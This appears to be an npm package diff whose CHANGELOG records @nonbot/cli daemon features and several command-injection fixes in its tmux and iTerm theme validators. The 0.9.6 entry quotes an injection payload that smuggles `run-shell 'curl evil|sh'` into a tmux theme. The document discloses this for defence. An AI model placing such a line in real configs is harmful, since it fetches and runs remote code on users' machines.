@nonbot/cli 0.9.13 → 0.10.1

package/CHANGELOG.md

@@ -1,5 +1,198 @@
 # @nonbot/cli changelog
 
+## 0.10.1 (2026-09-09) — SECURITY
+
+- **Hardens the tmux theme validator; upgrade if you run `nonbot daemon`.**
+  `isSafeTmuxConf` guards a server-supplied cosmetic theme before the daemon
+  writes it to disk and hands it to `tmux source-file`, which EXECUTES it. It
+  allowlisted the tmux *directive* (`set` / `setw` / `set-option` /
+  `set-window-option`) and denylisted three option names. tmux stores HOOKS as
+  options, and `man tmux` is explicit that `set-hook` and `set-option` are
+  equivalent for them — so a theme line naming a hook used an allowlisted
+  directive, named an option the denylist did not cover, and contained none of
+  the patterns the validator screens for (`#(`, `$(`, a backtick, a backslash, a
+  `;`). It passed every check, and tmux ran the hook's command on the next
+  matching pane event.
+
+  A denylist of option names cannot be complete here: it would have to enumerate
+  every hook tmux has now and every one it adds later. The option NAME is now
+  ALLOWLISTED instead — presentational suffixes (`-style`, `-format`, `-bg`,
+  `-fg`, `-attr`, `-colour`, `-color`, `-length`) plus a short explicit set for
+  the cosmetic options that have no such suffix — which refuses every hook by
+  construction. `lock-command`, `copy-command` and `editor` joined the forbidden
+  set alongside `default-command`, `default-shell` and `command-alias`.
+
+  Themes produced by the normal generator are unaffected. +20 tests
+  (`tests/tmux-theme-allowlist.test.ts`) covering real generated output and 13
+  rejected payloads.
+
+## 0.10.0 (2026-09-04)
+
+- At-exit transcript for fast-exit runs (memory C32, 2026-09-04): the daemon keeps a rolling
+  per-pane tail (scrubbed + 16KB-clamped through the snapshot path, every poll while alive)
+  and appends it to the LOCAL `activations.log` as one `exit-transcript` entry when the pane
+  vanishes (completed / failed / stopped / untracked) — local-only per S11, metadata-only
+  log lines, idempotent. `nonbot logs` summarises it; `--json` carries the tail. Opt out
+  with `NONBOT_NO_EXIT_TRANSCRIPT=1`. `src/lib/exit-transcript.ts`; +13 tests.
+- Update-available nudge (DAEMON-UI ⑤, 2026-09-04): once per daemon start and at most
+  once per 24h while running, the daemon asks `registry.npmjs.org/@nonbot/cli/latest`
+  (3s timeout, own fetch, failure silent) and prints ONE amber line when newer:
+  `Update available: @nonbot/cli X → Y  (npm i -g @nonbot/cli)`. Opt out with
+  `NONBOT_NO_UPDATE_CHECK=1`. Zero runtime deps. `src/lib/update-check.ts`; +21 tests.
+- Stop-daemon restart immunity (2026-09-04): a remote `shutdown` record issued before this
+  daemon process started (`requestedAt` < daemon start) is ignored — noted once as
+  `stale stop signal ignored` — so a daemon restarted inside the `:all` key's 120s TTL is
+  no longer re-killed. Signals with no timestamp (paused cloud runner, old server) are
+  still honoured. `shutdownPredatesDaemon` in `daemon-lifecycle.ts`; +8 tests.
+- Hub egress retry buffer is bounded AT ENQUEUE (2026-09-04): `trimRetryQueue` runs on
+  every drain into `retryQueue`, not only on the 429 branch — keeps the newest
+  `EGRESS_RETRY_MAX` events plus the most recent entry per activation/pane, so a long
+  outage can no longer grow the buffer without limit. `hub.retryQueueSize()` exposes the
+  count. Tests: `tests/choir/retry-queue-trim.test.ts`.
+- Cost repair (2026-08-03, commit `3f9c7215`): `/api/cli/run-prompts/answered` folded
+  into the `/pending` poll body as `answeredPrompts` — a current daemon + current server
+  make ONE request per poll cycle instead of two; the standalone endpoint remains as the
+  fallback for older servers (feature-detected on field PRESENCE). Also: daemon-held
+  wall-clock ceiling (`sweepLocalGuardrails`) and workspace-reaper liveness guards
+  (see CLAUDE.md "Cost ceilings").
+
+## 0.9.13 (2026-07-24)
+
+- `nonbot daemon attach` — reattach a lost terminal window to the daemon's detached tmux
+  session (the local half of the headless-indicator loop: surfaces show
+  `connected · headless`, this brings the window back). Probes `tmux has-session` then
+  execs interactive `tmux attach -t nonbot` (or `--session <name>`); friendly hint when
+  there's no session. Web mirrors it: the headless badge on `/run` is a click-to-copy
+  `tmux attach -t <session>` button. `attachDaemonSession` in `daemon-lifecycle.ts`; +4 tests.
+
+## 0.9.12 (2026-07-24)
+
+- Stop-daemon-from-any-surface (spec:
+  `docs/superpowers/specs/STOP-DAEMON-FROM-ANY-SURFACE-RESEARCH-2026-07-24.md`, decisions
+  LOCKED — kill-everything semantics). (1) **Remote stop**: `/pending` may carry
+  `shutdown: { requested, scope }` (server KV `cli-daemon-shutdown:<user>:<machine|all>`,
+  queued by web `/run`, `/m/runs`, tvOS/iOS/watch, MCP `run_stop_daemon`, or
+  `nonbot daemon stop --machine/--all`). The daemon kills every tracked pane (awaited
+  `executePendingKills`), sends final run beats, POSTs the `/api/cli/daemon/stop-ack`
+  goodbye (server clears heartbeats → surfaces flip instantly), removes its PID file,
+  kills its OWN tmux session (no zombie `nonbot` session), exits 0. Handled before new
+  activations — never launch work about to be killed. (2) **`nonbot daemon stop`**
+  (local-first): PID → SIGTERM → verify (≤3s) → fallback `tmux kill-session -t nonbot`;
+  `--machine <id>` / `--all` go remote. (3) **Hardening**: SIGTERM handler (shares the
+  SIGINT graceful body), PID file `<configDir>/daemon.pid` (written at startup, removed on
+  every exit path, skipped in oneShot), headless indicator `X-Tmux-Attached` per poll
+  (`#{session_attached}` probe → "connected · headless" chips web-side). New
+  `src/lib/daemon-lifecycle.ts` + `tests/daemon-lifecycle.test.ts` (21 tests); 1476 total green.
+
+## 0.9.10 (2026-07-10)
+
+- Daemon visibility slice. (1) Five stat headers on every `/pending` poll
+  (`X-Runs-Active/-Done/-Failed`, `X-Prompts-Open`, `X-Poll-Interval-Ms` — always sent,
+  zeros meaningful). (2) On-demand output snapshots: `/pending.snapshotRequests[]` →
+  `src/lib/snapshot.ts` capture (tail incl. scrollback) → scrub (`pat_`/env-line/Bearer) →
+  16KB tail-clamp → POST `/api/cli/activations/:id/snapshot`; pane resolved ONLY from
+  `trackedPanes` (pane-binding invariant), 2xx/409 terminal, KV-only server-side. (3) Non-claude prompt
+  reporting from the NEEDS-YOU sweep (same idempotent `rp_` promptId as the claude hook;
+  claude panes skipped; codex y/n prompts fail closed — documented limit). (4) `lastSeenAt`
+  drift fix + 35s freshness window + `daemonConnected` preference in `status`/`doctor`.
+  New `tests/snapshot.test.ts`, `tests/prompt-report-sweep.test.ts`, `tests/status.test.ts`.
+
+## 0.9.7 (2026-06-20)
+
+- Daemon UX overhaul — logo-first restyle + the two structural fixes that made it "wonky."
+  (1) Killed the in-pane pinned footer (`\r`+erase-to-EOL) — the root cause of "text box
+  gets wonky mid-run, scrolling above/behind it." Now: tmux status bar owns the live
+  readout (can't be scrolled over); outside tmux a clean `heartbeatLine()` scrolls per
+  idle cycle; `liveFooter()` the function is kept (the bug was the daemon's pinning, not
+  the content). (2) Masthead size-degrades — `compactMasthead()` one-line strip when the
+  pane is tiled below the 63-col/16-row block wordmark, so it never wraps. Palette → the
+  logo: cream `#F0EBE2` wordmark + ONE periwinkle-blue `#6C8CFF` dot/accent + blue→indigo
+  `gradientRule()`, the `~ $ nonbot run` `promptLine()` signature (daemon-only), retiring
+  the 6-hue `WORDMARK_GRADIENT` rainbow. tmux chrome + pane borders retuned to the palette
+  with WAITING-ON-YOU loudest (amber). Presentational only — zero wire/protocol/pane-binding
+  changes. New `output.ts` helpers (`promptLine`/`gradientRule`/`compactMasthead`/
+  `WORDMARK_DOT_COLS`/`c.cream/blue/indigo`) + `daemon.ts` footer rip-out + size-gate.
+  Design + real-output screenshots in `docs/mockups/`; 1394 tests green.
+
+## 0.9.6 (2026-06-18)
+
+- Daemon + tmux terminal UI upgrade — NEEDS-YOU is now impossible to miss across all three
+  local surfaces: the daemon terminal (amber banner + tmux bell + red footer), the tmux
+  pane chrome (red `pane-border-status` border + ‼ waiting via `@nb_state`), and a new
+  nonbot tmux status bar (`N run · M done · ⚠ NEEDS YOU · host · poll Ns`). Plus a
+  self-rewriting live heartbeat footer (replaced in 0.9.7), per-pane titles surfaced via
+  `pane-border-status`, and a MACHINE identity row. Zero runtime deps, pane-binding-safe (paneId
+  `/^%\d+$/`; only ints / enums / tmux builtins reach the chrome). Chrome defaults on
+  inside the daemon's tmux session; opt out with `NONBOT_NO_TMUX_STATUS=1`. New renderers
+  in `src/lib/output.ts` + `src/lib/pane-title.ts`; tests in `tests/output.test.ts` +
+  `tests/pane-title.test.ts`.
+- Security: 3 daemon command-injection HIGH fixes (regressions of recent work, `41e27661`).
+  (1) tmux conf validator `isSafeTmuxConf` now validates EVERY `;`-segment's first token +
+  rejects backslash (escaped-newline / `\;` smuggling) + forbids `default-command` /
+  `default-shell` / `command-alias` — was: only `token[0]` checked, so
+  `set -g x ; run-shell 'curl evil|sh'` reached `tmux source-file` → ran a shell. (2) iTerm
+  DynamicProfile now forbids `Triggers` / `Smart Selection Rules` / `Semantic History` /
+  `Bound Hosts` (their presence drops the theme — no action introspection needed) — was:
+  `Triggers` omitted → `RunCommandTrigger` auto-ran a command. (3) `injectAnswer` /
+  `deliverAnsweredPrompts` bind the server-supplied paneId to the daemon's own
+  `trackedPanes` (drop untracked activations + any server/local paneId mismatch) — was:
+  shape-checked only → a forged answer type could target any `%\d+` pane.
+- Bug-hunt: 7 cli bug fixes (`46a6a22f`). `completion.ts` `listLivePaneIds` returns null
+  on a list FAILURE (≠ empty Set) so one `tmux list-panes` hiccup no longer
+  false-completes EVERY tracked Run (HIGH); a transient `/complete` POST failure now
+  leaves the pane tracked to retry instead of stranding a finished Run;
+  `executePendingKills` validates the server `tmuxPaneId` against `/^%\d+$/` before
+  send-keys / kill-pane (a forged paneId can't target an arbitrary pane — HIGH);
+  `choir/isolated-session.ts` reconcile probes `git status` before the clean-path
+  force-remove so a no-commit "Already up to date" branch carrying real uncommitted work
+  is left for the human, not `--force`-discarded (§9 data-safety); new
+  `src/lib/bounded-set.ts` FIFO `evictOldestToCap` replaces the wholesale
+  `injectedPrompts` / `seen` `clear()` — closing the double-keystroke + double-launch windows.
+
+## 0.9.4 / 0.9.5 (2026-06-17)
+
+- Worktree isolation + branch-merge reconcile — the two Choir capabilities KEPT under Run
+  (the headless conductor was DROPPED). Server migration 115 adds
+  `portfolio_activations.isolate` (NULL/0 = shared working tree, the legacy default → zero
+  regression; 1 = isolate). For a `set`/`fanout` run marked isolate (NOT `sequence` —
+  one-at-a-time, nothing to isolate), the daemon provisions a dedicated `git worktree` on
+  a `choir/<session>/<pane>` branch per agent (`src/lib/choir/worktree.ts` +
+  `coordinated-set.ts`) so parallel agents never stomp one shared tree, then runs
+  reconcile (`src/lib/choir/reconcile.ts` + `isolated-session.ts`): merge branches in
+  order, build-gate, and STOP at the first conflict — the human is the gate, NEVER
+  `--force`. Git mechanics PROVEN against a real temp repo
+  (`tests/choir/reconcile-git-integration.test.ts` +
+  `launch-coordinated-set-git-integration.test.ts`). The real-I/O integration test caught
+  two production bugs unit-test fakes had masked (both would break the FIRST real isolated
+  run): (1) launcher hardcoded `baseBranch='HEAD'` → failed `addWorktree`'s branch regex →
+  threw before provisioning anything (fixed: `resolveBaseBranch`); (2) the launcher's
+  untracked `.mcp.json` made a no-force `removeWorktree` refuse → leaked worktrees after a
+  clean merge (fixed: opt-in `force`, used ONLY on the already-merged clean path).
+
+## 0.9.3 (2026-06-17)
+
+- Multi-machine Run routing. The daemon advertises a stable machine id
+  (`src/lib/machine.ts`) on every poll as `X-Machine-Id`. Server migration 114 adds
+  `portfolio_activations.target_machine_id` (NULL = "any machine", the legacy
+  single-daemon behaviour); `/pending` + `/run-prompts/answered` filter to
+  `target_machine_id IS NULL OR = <mine>`, so two daemons on ONE account no longer both
+  launch every run or cross-deliver answers (tmux pane ids aren't globally unique). A
+  `cli-machine` KV registry + `GET /api/cli/machines` back the LaunchComposer machine
+  picker (shown at 2+ machines). GOTCHA: a KV `put` with TTL <60s throws (Cloudflare KV
+  minimum) → registry stays empty; fixed in `96d0de1a` to clamp ≥60s.
+
+## 0.9.1 (2026-06-17)
+
+- Run Prompt Bridge Phase B (daemon). A real claude run gets a Claude Code `Notification`
+  hook injected (`--settings .nonbot/hook-<id>.settings.json` → `nonbot run-prompt-hook`);
+  the hook captures the paused pane's numbered menu and POSTs it to
+  `/api/cli/activations/<id>/prompt`. The daemon poll loop (gated on tracked panes) GETs
+  `/run-prompts/answered`, `tmux send-keys` the human's choice into the pane, and POSTs
+  `/run-prompts/<id>/delivered`. New `src/lib/run-prompt.ts` +
+  `src/commands/run-prompt-hook.ts`; hook injection is opt-in in
+  `resolveExecutableCommand` (after the drift/cap checks → no parity drift, pane-binding tests
+  unchanged). claude-only. New tests: `tests/run-prompt.test.ts`, `tests/run-prompt-hook.test.ts`.
+
 ## 0.9.0
 
 - **Choir collapses into Run.** Launching multiple coordinated agents now comes from the canvas (select stories -> "Run together"), not a terminal command. The daemon groups activations that share a coordinated-set id and launches them with a git worktree per agent + the coordination MCP wired in, each pane on its own per-pane provider (e.g. 2 Claude + 1 Gemini).  remains as internal plumbing only.
@@ -70,6 +263,28 @@
 - Dropped the Ghostty terminal profile (unused). A `ghostty` preference now
   falls back to the platform default like any other unknown terminal.
 
+## 0.5.12 (2026-05-21)
+
+- Credential injection into spawned scripts. `spawnTerminalDefault` now accepts `auth` as
+  a second parameter and prepends `export NONBOT_PAT=`, `export NONBOT_RUN_ID=`,
+  `export NONBOT_BASE_URL=`, and `export NONBOT_ROLE='lead'` to the temp script body.
+  `fireActivation` binds auth into a closure for the default path; injected test spawners
+  are unaffected. PAT appears only in the 0o700 temp script — never in process args, tmux
+  send-keys, osascript args, or log lines. Values are single-quote-escaped via
+  `shellQuoteSingle`. Fixes: agents reporting `PAT_LEN=0` + 401s on all
+  canvas/portfolio-MCP calls. 11 new tests in `tests/credential-injection.test.ts`.
+
+## 0.5.11 (2026-05-20)
+
+- Terminal theming. Activations can carry `payload.terminalTheme` (optional). tmux: writes
+  conf to `/tmp/nonbot-theme-<id>.conf` + prepends `tmux source-file` to the script body
+  (window-scoped theme). iTerm/iterm-tab: writes iTerm2 DynamicProfile JSON to
+  `~/Library/Application Support/iTerm2/DynamicProfiles/nonbot-<id>.json` + opens the
+  window with the named profile. Terminal.app: logs a one-line info about the limitation
+  and proceeds un-themed. Field validation: any oversized or malformed `terminalTheme` is
+  silently dropped (never blocks a Run). `TerminalProfile.launch()` widened to accept
+  `opts.itermProfileName`. 28 new tests in `tests/terminal-theme.test.ts`.
+
 ## 0.5.10
 
 - Build now strips source comments from the published output, so no internal
@@ -82,10 +297,59 @@
 - Scrubbed an example email address from the `nonbot status` banner output.
 - First release published via npm trusted publishing (OIDC) — no token.
 
-## 0.5.8
+## 0.5.8 (2026-05-20)
 
 - Runs are now marked complete automatically when their terminal closes, so the
   Recent Activations view on non.bot stays accurate.
+- Internal detail: the daemon tracks launched real-Run tmux panes and POSTs
+  `/api/cli/activations/:id/complete` when a pane vanishes, flipping the D1 row
+  `running → completed` (server migration 090 widens the status CHECK). Stop-killed panes
+  are excluded (cancellation ≠ completion). `fireActivation` now returns
+  `ActivationOutcome`. New `src/lib/completion.ts` + 11 tests. Unblocks accurate
+  Recent-Activations status and future true queueing.
+
+## 0.5.4 (2026-05-18)
+
+- RUN-CLAUDE-BUG-1 fix — unified claude provider with codex/gemini on the AGENTS.md
+  "read and start work" prompt. The earlier claude-only `/non.bot:conduct activate <id>`
+  slash command pointed at a skill bundle that never shipped (every claude Run was failing
+  at first prompt with `Unknown command: /non.bot:conduct`). The fix collapses all three
+  providers onto one prompt shape, removes the only Run-host install surface, drops the
+  now-dead `realPromptKind: 'slash-conduct'` profile branch in `command-builders.ts`, and
+  empties `EXPECTED_SKILLS` in `doctor.ts`. Snapshot test in `tests/sec1-resolver.test.ts`
+  pins three-provider parity.
+
+## 2026-05-17 polish pass
+
+- (a) First-prompt threading (refined 2026-05-18 — see 0.5.4) so Run-from-canvas no longer
+  lands on an empty "ready for input" screen. (b) `daemonOpener()` + `daemonCloser()` in
+  `lib/output.ts` replace the bland startup header with a gradient pulse + rotating
+  tagline + conversational kvRow labels (you / listening / profile / landing). Cosmetic
+  only — no wire changes.
+
+## 0.5.1 (2026-05-17)
+
+- tmux pane auto-close on Enter + remote Stop button. Pane id captured
+  (`split-window -P -F '#{pane_id}'`) + threaded to D1 (migration 086). Daemon's
+  `/pending` poll picks up `pendingKills` array and runs soft-then-hard kill
+  (Ctrl-C → 2s grace → `kill-pane`). Activation D1 status is intentionally untouched —
+  Stop is a UI cleanup action, not a cancellation.
+
+## 2026-05-16 reliability pass
+
+- Three areas hardened in a single day across 5+ iterations: (a) tmux-aware routing +
+  auto-wrap into a `'nonbot'` session + `NONBOT TMUX` window labelling, (b) observable
+  launch trace (`trace[]` + `launcherStderr/Stdout/ExitCode` posted on ack, joined into
+  `/api/cli/activations/recent`), (c) iTerm + Terminal AppleScript bulletproofing via
+  `osascript` (Launch Services hijack workaround — `open -a` kept landing in Terminal.app;
+  the osascript shape + tmux `new-window` choice landed after 5+ iterations, see
+  `git log -- src/lib/terminal.ts`) + `nonbot doctor` extensions for iTerm / MCPs / skills.
+
+## 0.5.0
+
+- Adaptive polling cadence — closes the "WebSocket transport" item by decision, not by
+  building a DO (DO duration billing would risk the $5 Workers Paid plan; adaptive polling
+  is free, stateless, and snappy while a Run is active).
 
 ## 0.5.x
 
@@ -103,3 +367,11 @@
 
 - Initial release: `login`, `daemon`, `run`, `status`, and cross-platform terminal
   launching (macOS, Linux, Windows).
+- Phase 1 (shipped 2026-05-12): install + `nonbot test` banner only — other commands were
+  placeholders. Phase 2 (shipped 2026-05-13): `nonbot login` (PAT), `nonbot daemon`
+  (poll + spawn), `nonbot run <id>` (one-shot), real `nonbot status`; macOS-only.
+- v0.3.0: pluggable terminal preference (`resolveTerminal` + `TERMINAL_PROFILES`),
+  cross-platform spawn (Linux + Windows), `nonbot doctor` health check.
+- v0.4.0: headless mode (`--headless`/`--no-terminal`), multi-account profiles
+  (`--profile`), local activation history (`nonbot logs`), login-service install
+  (`daemon --install`/`--uninstall`).

package/dist/commands/choir.js

@@ -19,6 +19,9 @@ export function buildStartHub(repoRoot, auth) {
             baseUrl: auth.baseUrl,
             pat: auth.pat,
             autoTimers: true,
+            log: (s) => {
+                process.stderr.write(s);
+            },
         };
         const hub = createHub(opts);
         hub.start();